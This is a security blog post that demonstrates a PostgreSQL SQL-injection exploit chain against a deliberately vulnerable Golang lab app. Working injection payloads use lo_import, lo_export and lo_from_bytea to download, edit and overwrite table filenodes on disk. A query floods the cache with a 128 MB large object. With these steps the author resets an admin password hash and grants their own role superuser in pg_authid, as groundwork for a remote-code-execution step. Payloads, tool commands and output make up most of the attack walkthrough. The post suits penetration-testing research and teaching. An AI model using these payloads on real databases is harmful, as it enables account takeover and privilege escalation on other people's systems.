PostgreSQL SQL injection: Updating data without UPDATE
Does anybody even need this? :D
Expanding on the topic
So, in my first article, we explored the possibility of abusing excessive server-side file read and write permissions to perform an RCE on the machine running the affected PostgreSQL server.
Our exploit relied on an essential condition — the PostgreSQL configuration must be reloaded to trigger the code execution. This could happen either by waiting for the server to reboot or manually invoking the pg_reload_conf() function, which is accessible to admin users.
But what if we lacked those permissions, and the server wouldn’t restart in a while? Is there anything else we could do to speed up the process?
There is!
Official PostgreSQL documentation deliberately informs us that server-side file read and write permissions may be abused to perform a privilege escalation within the DBMS.
How? By overwriting DB data, of course!
We can modify some internal Postgres tables to become a super admin and obtain all necessary prerequisite permissions for reloading the config.
How data is stored in PostgreSQL
PostgreSQL has extremely complex data flows to optimize resource usage and eliminate possible data access conflicts (e.g., race conditions). You can read about them in great detail in the official documentation here and here.
Table ↔ Filenode
The physical data layout significantly differs from widely known “table” and “row” objects. On disk, all data is stored in a filenode object named with the oid of the respective pg_class object. In other words, each table has its filenode. You can lookup oid, and the respective filenode name of a given table through the following query:
1
SELECT oid FROM pg_class WHERE relname='TABLE_NAME'
All filenodes are stored in the PostgreSQL data directory. You can obtain it through the following query:
1
SELECT setting FROM pg_settings WHERE name = 'data_directory';
To obtain a relative path to the filenodes within the data directory, you can use the following function:
1
SELECT pg_relation_filepath('TABLE_NAME');
Note: pg_relation_filepath may return 0 for global or shared filenodes. Their paths and oids are stored in filenode maps.
Let’s focus on local filenodes first.
Filenode format
The filenode itself is paginated by chunks of 0x2000 (8192) bytes called Pages (who would’ve guessed).
The pages hold the actual row data within nested Item objects. However, this data is stored in raw format. Parsing and reinterpreting the data requires knowing the associated datatype, stored in a separate pg_attribute table. You can obtain that datatype through the following query:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = 'TABLE_NAME';
Cold and hot data storages
All of the above objects make up the DBMS’s cold storage. In order to access data in cold storage through a query, Postgres must first load it in the RAM cache, a.k.a. hot storage.
The following diagram shows a rough and simplified flow of how Postgres accesses the data.
graph LR
A["In-Memory Table Cache"] --> B["Filenode"]
B --> C1["Page 1"]
B --> C2["Page 2"]
B --> C...["Page ..."]
B --> Cn["Page n"]
C1 --> D1["Item 1"]
C1 --> D2["Item 2"]
C1 --> D...["Item ..."]
C1 --> Dn["Item n"]
DBMS periodically flushes any changes to the data in hot storage onto the FS.
These syncs may pose a challenge to us! Since we can only edit the cold storage of a running database, we risk that a subsequent hot storage sync may overwrite our edits. Thus, we must ensure that the table we are to overwrite has been offloaded from the cache. The default cache size is 128MB, so we can stress the DB with expensive queries to other tables, large objects, or just simply restart it before the flush.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -----------------------------
# PostgreSQL configuration file
# -----------------------------
...
#------------------------------------------------------------------------------
# RESOURCE USAGE (except WAL)
#------------------------------------------------------------------------------
# - Memory -
shared_buffers = 128MB # min 128kB
# (change requires restart)
...
PostgreSQL Filenode Editor
I’ve created a tool to parse and modify data stored in the supplied filenode. The tool can function independently of the Postgres server that created the filenode. We can use it to overwrite target table rows with desired values. The editor supports both datatype-assisted and raw parsing modes. The former mode is a preferred option as it allows you to edit the data safely without incidentally messing up the whole binary filenode structure.
Here’s a little demo for you:
Actual parsing implementation is way too lengthy to discuss in this article and has, in fact, been a huge pain in my ass to code for the last month or so. You can find the sources on Github if you want to dig deeper into it.
You can also check out this article on parsing filenodes in Golang.
The filenode editor does not fully support all possible data types supported by the PostgreSQL servers, as it is only able to parse regular (non-TOAST) tables at this point 🙂
Vulnerable app
We will reuse the vulnerable Golang app from the previous article with several changes. The code is available in a separate branch by the following link.
The Golang app has exposes 3 HTTP routes, /login , /signup , and /user?id=ID with the same SQLi case as in the previous article present at the latter endpoint.
The DB connection is now being made under poc_update_user , which has full privileges over the users table, access to large objects, and is able to call the required lo_* functions for the exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CREATE USER poc_update_user WITH PASSWORD 'testpassword';
GRANT pg_read_server_files TO poc_update_user;
GRANT pg_write_server_files TO poc_update_user;
GRANT USAGE ON SCHEMA public TO poc_update_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON TABLE pg_largeobject TO poc_update_user;
CREATE TABLE IF NOT EXISTS users (
id SERIAL PRIMARY KEY,
email VARCHAR(64) NOT NULL,
fullname VARCHAR(32) NOT NULL,
password VARCHAR(32) NOT NULL,
city VARCHAR(16),
age INT
);
GRANT ALL ON TABLE users TO poc_update_user;
GRANT ALL ON TABLE users_id_seq TO poc_update_user;
As a poc_update_user , we are able to query, update and delete users table entries but can’t access any sensitive functionality otherwise.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# as poc_update_user;
postgres=> SELECT * FROM users;
id | email | fullname | password | city | age
----+---------------------------+---------------+----------------------------------+---------------+-----
1 | [email protected] | John Doe | b8a76c56d41e570a6e73f55c232572e9 | New York | 28
2 | [email protected] | Alice Smith | 3a6da9ad70dfe6bd6129a0858aaa1fd0 | San Francisco | 35
3 | [email protected] | Bob Jones | 1543a45232df76aaec95af184e246c69 | Los Angeles | 22
4 | [email protected] | Sara Williams | 1543a45232df76aaec95af184e246c69 | | 29
5 | [email protected] | Michael Brown | d0b8dfe012c6aad2be13e3430439f581 | Chicago | 31
6 | [email protected] | Emily Wang | b85b5926d887f5dfa4782549a3e97793 | | 26
7 | [email protected] | David Nguyen | 6060bcea977c78994a6587382fce4c4b | Houston | 33
8 | [email protected] | Olivia Garcia | f57b4b400b8ed7956556c24339c2d48f | Miami | 29
9 | [email protected] | Ryan Miller | 9ed1707a05359d46a03a8ebe129c2964 | Seattle | 38
10 | [email protected] | Emma Davis | ce28650b9ba722fbd4da8c0a4c2b8cb9 | Denver | 27
11 | [email protected] | Admin User | a9946a9d51be374db363c9492850c0a8 | |
postgres=> SELECT * FROM pg_authid;
ERROR: permission denied for table pg_authid
postgres=> SELECT pg_reload_conf();
ERROR: permission denied for function pg_reload_conf
Required attack steps
We must perform the following steps to update a custom table on the PostgreSQL server:
- Get PostgreSQL data directory
- Get the relative location of the filenode, associated with the target table
- Get the filenode datatype
- Download the filenode via large object functions
- Edit the filenode offline
- Upload the new filenode back to the server via large object functions
- Overwrite the target filenode on disk with the new data
- Offload the target table from the DBMS in-memory cache
Updating custom table (users)
Let’s see the attack on a custom users table from our vulnerable web app in practice. To take over the account, we will modify the administrator’s password hash with a known one.
Getting data directory location
Payload
1
-1 UNION SELECT 1,setting,'a','b',2 FROM pg_settings WHERE name = 'data_directory'
Request
The server returned an empty response, indicating a likely error in the query. It turns out that non-admin users cannot query the settings table without additional permissions.
This should be fine though, as all data directories follow the same pattern of
/var/lib/postgresql/MAJOR_VERSION/CLUSTER_NAME/. We can query the major version through theversion()function. The default cluster name ismain. This information should be enough to get our data directory.Payload
1
-1 UNION SELECT 1,version(),'a','b',2
Request
Getting relative filenode location
Payload
1
-1 UNION SELECT 1,pg_relation_filepath('users'),'a','b',2
Request
Getting filenode datatype
Payload
1
-1 UNION ALL SELECT 1,STRING_AGG(CONCAT_WS(',',attname,typname,attlen,attalign),';'),'ab','bc',2 FROM pg_attribute JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = 'users'
Request
- Downloading filenode
Import filenode into large object
Payload
Use the same technique from the first article to read the file from the FS by its absolute path.
1
-1 UNION SELECT 1,'a','b','c',lo_import('/var/lib/postgresql/13/main/base/13485/49182',13337)
Request
Read the large object by its
oidPayload
1
-1 UNION SELECT 1,'a','b',translate(encode(lo_get(13337), 'base64'), E'\n', ''),2
Request
Edit the users table with PostgreSQL Filenode Editor
Use list mode to check that the filenode is parsed correctly
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$ python3 postgresql_filenode_editor.py -m list -f ./tests/sample_filenodes/49182 --datatype-csv "tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;id,int4,4,i;email,varchar,-1,i;fullname,varchar,-1,i;password,varchar,-1,i;city,varchar,-1,i;age,int4,4,i" [+] Page 0: +---------+----+------------------------------+------------------+-------------------------------------+------------------+------+ | item_no | id | email | fullname | password | city | age | +---------+----+------------------------------+------------------+-------------------------------------+------------------+------+ | 0 | 1 | b'[email protected]' | b'John Doe' | b'b8a76c56d41e570a6e73f55c232572e9' | b'New York' | 28 | | 1 | 2 | b'[email protected]' | b'Alice Smith' | b'3a6da9ad70dfe6bd6129a0858aaa1fd0' | b'San Francisco' | 35 | | 2 | 3 | b'[email protected]' | b'Bob Jones' | b'1543a45232df76aaec95af184e246c69' | b'Los Angeles' | 22 | | 3 | 4 | b'[email protected]' | b'Sara Williams' | b'1543a45232df76aaec95af184e246c69' | NULL | 29 | | 4 | 5 | b'[email protected]' | b'Michael Brown' | b'd0b8dfe012c6aad2be13e3430439f581' | b'Chicago' | 31 | | 5 | 6 | b'[email protected]' | b'Emily Wang' | b'b85b5926d887f5dfa4782549a3e97793' | NULL | 26 | | 6 | 7 | b'[email protected]' | b'David Nguyen' | b'6060bcea977c78994a6587382fce4c4b' | b'Houston' | 33 | | 7 | 8 | b'[email protected]' | b'Olivia Garcia' | b'f57b4b400b8ed7956556c24339c2d48f' | b'Miami' | 29 | | 8 | 9 | b'[email protected]' | b'Ryan Miller' | b'9ed1707a05359d46a03a8ebe129c2964' | b'Seattle' | 38 | | 9 | 10 | b'[email protected]' | b'Emma Davis' | b'ce28650b9ba722fbd4da8c0a4c2b8cb9' | b'Denver' | 27 | | 10 | 11 | b'[email protected]' | b'Admin User' | b'a9946a9d51be374db363c9492850c0a8' | NULL | NULL | +---------+----+------------------------------+------------------+-------------------------------------+------------------+------+
Edit desired row, set password hash to
MD5('12345678')value:1
$ python3 postgresql_filenode_editor.py -m update -p 0 -i 10 --csv-data '11,[email protected],Admin User,25d55ad283aa400af464c76d713c07ad,NULL,NULL' -f ./tests/sample_filenodes/49182 --datatype-csv "tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;id,int4,4,i;email,varchar,-1,i;fullname,varchar,-1,i;password,varchar,-1,i;city,varchar,-1,i;age,int4,4,i"
Reupload the edited filenode
Payload
1 2
-1 UNION SELECT 1,'a','b','c',lo_from_bytea(13338,decode('AAAA...BASE64_ENCODED_FILENODE...xwAAAA=','base64'))<@/urlencode_not_plus> HTTP/1.1
Request
Overwrite the filenode on disk
Payload
1
-1 UNION SELECT 1,'a','b','c',lo_export(13338,'/var/lib/postgresql/13/main/base/13485/49182')
Request
At this moment, the password is still old in the DB, since the table is loaded into the cache
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
postgres=> SELECT * FROM users; id | email | fullname | password | city | age ----+---------------------------+---------------+----------------------------------+---------------+----- 1 | [email protected] | John Doe | b8a76c56d41e570a6e73f55c232572e9 | New York | 28 2 | [email protected] | Alice Smith | 3a6da9ad70dfe6bd6129a0858aaa1fd0 | San Francisco | 35 3 | [email protected] | Bob Jones | 1543a45232df76aaec95af184e246c69 | Los Angeles | 22 4 | [email protected] | Sara Williams | 1543a45232df76aaec95af184e246c69 | | 29 5 | [email protected] | Michael Brown | d0b8dfe012c6aad2be13e3430439f581 | Chicago | 31 6 | [email protected] | Emily Wang | b85b5926d887f5dfa4782549a3e97793 | | 26 7 | [email protected] | David Nguyen | 6060bcea977c78994a6587382fce4c4b | Houston | 33 8 | [email protected] | Olivia Garcia | f57b4b400b8ed7956556c24339c2d48f | Miami | 29 9 | [email protected] | Ryan Miller | 9ed1707a05359d46a03a8ebe129c2964 | Seattle | 38 10 | [email protected] | Emma Davis | ce28650b9ba722fbd4da8c0a4c2b8cb9 | Denver | 27 11 | [email protected] | Admin User | a9946a9d51be374db363c9492850c0a8 | | (11 rows)
Flush the cache somehow?
One of the ways is to make a heavy query on the server. E.g., one creating a large object of a size matching the entire cache pool to flush the target table from the cache :DDDDD
Payload
1
-1 UNION SELECT 1,'a','b','c',lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
Request
The server took several whole seconds to respond. This query should have overflown the memory cache and the
userstable should’ve been offloaded. We can confirm this by re-running the query and observing the updated admin password hash:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
postgres=> SELECT * FROM users; id | email | fullname | password | city | age ----+---------------------------+---------------+----------------------------------+---------------+----- 1 | [email protected] | John Doe | b8a76c56d41e570a6e73f55c232572e9 | New York | 28 2 | [email protected] | Alice Smith | 3a6da9ad70dfe6bd6129a0858aaa1fd0 | San Francisco | 35 3 | [email protected] | Bob Jones | 1543a45232df76aaec95af184e246c69 | Los Angeles | 22 4 | [email protected] | Sara Williams | 1543a45232df76aaec95af184e246c69 | | 29 5 | [email protected] | Michael Brown | d0b8dfe012c6aad2be13e3430439f581 | Chicago | 31 6 | [email protected] | Emily Wang | b85b5926d887f5dfa4782549a3e97793 | | 26 7 | [email protected] | David Nguyen | 6060bcea977c78994a6587382fce4c4b | Houston | 33 8 | [email protected] | Olivia Garcia | f57b4b400b8ed7956556c24339c2d48f | Miami | 29 9 | [email protected] | Ryan Miller | 9ed1707a05359d46a03a8ebe129c2964 | Seattle | 38 10 | [email protected] | Emma Davis | ce28650b9ba722fbd4da8c0a4c2b8cb9 | Denver | 27 11 | [email protected] | Admin User | 25d55ad283aa400af464c76d713c07ad | | (11 rows)
We can now log in to the admin account with our password!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
POST /login HTTP/1.1 Host: localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: uk-UA,uk;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Length: 51 {"email":"[email protected]","password":"12345678"} HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Sat, 03 Feb 2024 23:23:33 GMT Content-Length: 25 Connection: close {"FullName":"Admin User"}
Privesc: Updating pg_authid table
Now, shall we attempt to modify the internal Postgres pg_authid table where all roles and permissions are stored to become a superadmin?
pg_authidis a table shared between all databases. It will be stored in a global directory:
1
2
3
4
5
postgres=# SELECT pg_relation_filepath('pg_authid');
pg_relation_filepath
----------------------
global/1260
(1 row)
Its oid is set by default to 1260 in code, but it might change during vacuum routines. In that case, its new oid will be stored in a neighbor global/pg_filenode.map file.
Apart from that, all attack steps are essentially identical:
Getting the Data directory
Same as in the previous attack
Getting the relative filenode location
Same as in the previous attack
Getting the filenode datatype
While we can’t access the
pg_authidtable directly, we can still query its datatype.Payload
1
-1 UNION ALL SELECT 1,STRING_AGG(CONCAT_WS(',',attname,typname,attlen,attalign),';'),'ab','bc',2 FROM pg_attribute JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = 'pg_authid'
Request
- Downloading the filenode
Loading the target filenode into large object
Payload
1
-1 UNION SELECT 1,'a','b','c',lo_import('/var/lib/postgresql/13/main/global/1260',13340)
Request
Reading the filenode from the file object
Payload
1
-1 UNION SELECT 1,'a','b',translate(encode(lo_get(13340), 'base64'), E'\n', ''),2
Request
Editing the table offline with PostgreSQL Filenode Editor
The output may be a bit ugly, but that’s just how user names are stored in Postgres, in a fixed 64-byte long char array.
We can see our user
poc_update_userat the very end withoid49153. We would need to flip allrol*settings to 1 in order to mimic the permissions of a true superuser.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
[+] Page 0: +---------+-------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+----------------------------------------+---------------+ | item_no | oid | rolname | rolsuper | rolinherit | rolcreaterole | rolcreatedb | rolcanlogin | rolreplication | rolbypassrls | rolconnlimit | rolpassword | rolvaliduntil | +---------+-------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+----------------------------------------+---------------+ | 0 | 10 | b'postgres\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 1 | 1 | 1 | 1 | 1 | 1 | 1 | -1 | NULL | NULL | | 1 | 3373 | b'pg_monitor\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 0 | 0 | 0 | -1 | NULL | NULL | | 2 | 3374 | b'pg_read_all_settings\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 0 | 0 | 0 | -1 | NULL | NULL | | 3 | 3375 | b'pg_read_all_stats\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 0 | 0 | 0 | -1 | NULL | NULL | | 4 | 3377 | b'pg_stat_scan_tables\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 0 | 0 | 0 | -1 | NULL | NULL | | 5 | 4569 | b'pg_read_server_files\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 0 | 0 | 0 | -1 | NULL | NULL | | 6 | 4570 | b'pg_write_server_files\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 0 | 0 | 0 | -1 | NULL | NULL | | 7 | 4571 | b'pg_execute_server_program\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 0 | 0 | 0 | -1 | NULL | NULL | | 8 | 4200 | b'pg_signal_backend\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 0 | 0 | 0 | -1 | NULL | NULL | | 9 | 16384 | b'test\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 1 | 1 | 1 | 1 | 1 | 1 | 1 | -1 | b'md505a671c66aefea124cc08b76ea6d30bb' | NULL | | 10 | 16386 | b'test1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 1 | 0 | 0 | -1 | b'md542b72f913c3201fc62660d512f5ac746' | NULL | | 11 | 24577 | b'test2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 1 | 0 | 0 | -1 | b'md548b83a2a920f7284c9f0e1bf03012b68' | NULL | | 12 | 10 | b'postgres\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 1 | 1 | 1 | 1 | 1 | 1 | 1 | -1 | NULL | NULL | | 13 | 49153 | b'poc_update_user\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | 0 | 1 | 0 | 0 | 1 | 0 | 0 | -1 | b'md5d30050478412f6f4d7fd340d0e46d403' | NULL | +---------+-------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+----------------------------------------+---------------+
For convenience, any non-printable fields of field lengths can be passed as base64 strings.
1
python3 postgresql_filenode_editor.py -f ./1260 --datatype-csv "tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;oid,oid,4,i;rolname,name,64,c;rolsuper,bool,1,c;rolinherit,bool,1,c;rolcreaterole,bool,1,c;rolcreatedb,bool,1,c;rolcanlogin,bool,1,c;rolreplication,bool,1,c;rolbypassrls,bool,1,c;rolconnlimit,int4,4,i;rolpassword,text,-1,i;rolvaliduntil,timestamptz,8,d" -m update -p 0 -i 13 --csv-data "49153,cG9jX3VwZGF0ZV91c2VyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==,1,1,1,1,1,1,1,-1,md5d30050478412f6f4d7fd340d0e46d403,NULL"
Reuploading the edited filenode into the large object
Payload
1
-1 UNION SELECT 1,'a','b','c',lo_from_bytea(13341,decode('AAAAAJC...BASE64_ENCODED_FILENODE...P////8=','base64'))
Request
Overwriting the filenode on the FS
Payload
1
-1 UNION SELECT 1,'a','b','c',lo_export(13341,'/var/lib/postgresql/13/main/global/1260')
Request
Overflowing the cache ;)
Payload
1
-1 UNION SELECT 1,'a','b','c',lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
Request
Checking the user permissions!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
postgres=# SELECT * FROM pg_authid; oid | rolname | rolsuper | rolinherit | rolcreaterole | rolcreatedb | rolcanlogin | rolreplication | rolbypassrls | rolconnlimit | rolpassword | rolvaliduntil -------+---------------------------+----------+------------+---------------+-------------+-------------+----------------+--------------+--------------+-------------------------------------+--------------- 3373 | pg_monitor | f | t | f | f | f | f | f | -1 | | 3374 | pg_read_all_settings | f | t | f | f | f | f | f | -1 | | 3375 | pg_read_all_stats | f | t | f | f | f | f | f | -1 | | 3377 | pg_stat_scan_tables | f | t | f | f | f | f | f | -1 | | 4569 | pg_read_server_files | f | t | f | f | f | f | f | -1 | | 4570 | pg_write_server_files | f | t | f | f | f | f | f | -1 | | 4571 | pg_execute_server_program | f | t | f | f | f | f | f | -1 | | 4200 | pg_signal_backend | f | t | f | f | f | f | f | -1 | | 16384 | test | t | t | t | t | t | t | t | -1 | md505a671c66aefea124cc08b76ea6d30bb | 16386 | test1 | f | t | f | f | t | f | f | -1 | md542b72f913c3201fc62660d512f5ac746 | 24577 | test2 | f | t | f | f | t | f | f | -1 | md548b83a2a920f7284c9f0e1bf03012b68 | 10 | postgres | t | t | t | t | t | t | t | -1 | | 49153 | poc_update_user | t | t | t | t | t | t | t | -1 | md5d30050478412f6f4d7fd340d0e46d403 | (13 rows)We are now a super admin. And we can reload the config! And we achieved all this without ever restarting the server. We can now proceed to perform the SELECT-only RCE from the first article ;)
Payload
1
-1 UNION SELECT 1,'a','b',pg_reload_conf()::text,1
Request
Conclusion
As you can see, server file access permissions are very powerful and, essentially, give you a complete control over the DBMS. The combination of new techniques described here helped me in a real-world engagement and boosted otherwise unexploitable SQLi to a critical finding. I hope my experience is of value to you, too!